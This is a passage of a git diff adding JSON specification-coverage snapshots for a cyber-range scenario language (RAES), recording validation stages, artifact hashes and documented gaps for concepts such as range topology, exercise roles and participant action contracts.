"contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "94d6a4ec30b07f1e7e6fa6b4698d3d8e8b48bf64ad07e46dc759c1b7bef0e127", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "5a27990cc5f57cae913af6178ee33ff1bfb1af1f3eba4e98ab16aac7021890be", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "208d6bb7f2dca977c06ac6d67cd47451e091c69bd9fd334e043506e51265aa7a", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1072 participant-control contracts are covered by their dedicated API-424 regression tests. This retained language replay does not execute providers or establish runtime effect realization." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "e14818f29c24c6e6fd26afcf6c7b1a003b8d3025", + "snapshot_id": "raes-standardized-specification-coverage-issue-1072-v37", + "snapshot_revision": "37.0.0", + "source_state": { + "base_revision": "e14818f29c24c6e6fd26afcf6c7b1a003b8d3025", + "checkout_state": "modified", + "implementation_digest": "f9a64512d95b70b0c17049816dea747523493db107dad9dcf9590d74ef5ccbc0", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v38.json b/docs/research/specification-coverage/execution-snapshot-v38.json new file mode 100644 index 000000000..a1b837e54 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v38.json @@ -0,0 +1,698 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-20T08:00:00.000000+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + 